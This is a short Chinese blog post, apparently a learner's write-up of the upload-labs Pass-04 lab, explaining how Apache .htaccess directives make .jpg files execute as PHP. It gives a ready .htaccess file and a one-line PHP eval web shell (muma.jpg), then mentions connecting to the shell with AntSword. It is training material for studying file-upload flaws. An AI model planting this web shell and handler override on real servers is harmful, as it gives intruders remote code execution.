-
测试环境
upload-labs靶场(Pass-04)
-
.htaccess原理
.htaccess文件是Apache服务器下的一个配置文件。其主要负责相关目录下的网页配置,即:在一个特定的文档目录中放置一个包含一个或多个指令的文件来对网页进行配置。
不过需要注意的是,.htaccess文件的作用域为其所在目录与其所有的子目录,不过若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。
-
.htaccess实例
<ifModule mime_module>AddHandler php5-script .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->AddType application/x-httpd-php .jpg
<!-- 将.jpg文件按照php代码进行解析执行 -->Sethandler application/x-httpd-php
<!-- 将该目录及子目录下的文件均按照php文件解析执行 --></ifModule>
<!-- 该种匹配方式并不推荐,极易造成误伤 --><FilesMatch "muma.jpg">Sethandler application/x-httpd-php
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 -->Addhandler php5-script .jpg
<!-- 将匹配到的 muma.jpg 文件按照php解析执行 --></FilesMatch>
<!-- 该种匹配方式较为精准,不会造成大批的误伤情况 -->
下面来说一下这几种写法的区别:
- Sethandler 指令:
将该目录及子目录的所有文件均映射为php文件类型 - Addhandler 指令:
使用 php5-script 处理器来解析所匹配到的文件 - AddType 指令
将特定扩展名文件映射为php文件类型
-
Upload-labs(Pass-04)
这一关的漏洞便在于 .htaccess 文件上传解析漏洞,使用上面我们所提到的知识便能够通过这一关
我们需要先准备好两个文件(.htaccess 和 muma.jpg)
<!-- .htaccess文件 -->
<FilesMatch "muma.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
//muma.jpg
<?php @eval($_POST["test"]); ?>
接下来就是先将 .htaccess 文件上传,从而覆盖父目录对上传目录的影响,然后再上传 muma.jpg 文件,从而完成 .htaccess 文件上传解析漏洞的利用
放一个该关卡蚁剑成功连接的图片
由于作者也是在学习之中,所以文章错误之处还请在评论区指正
个人新建博客,欢迎访问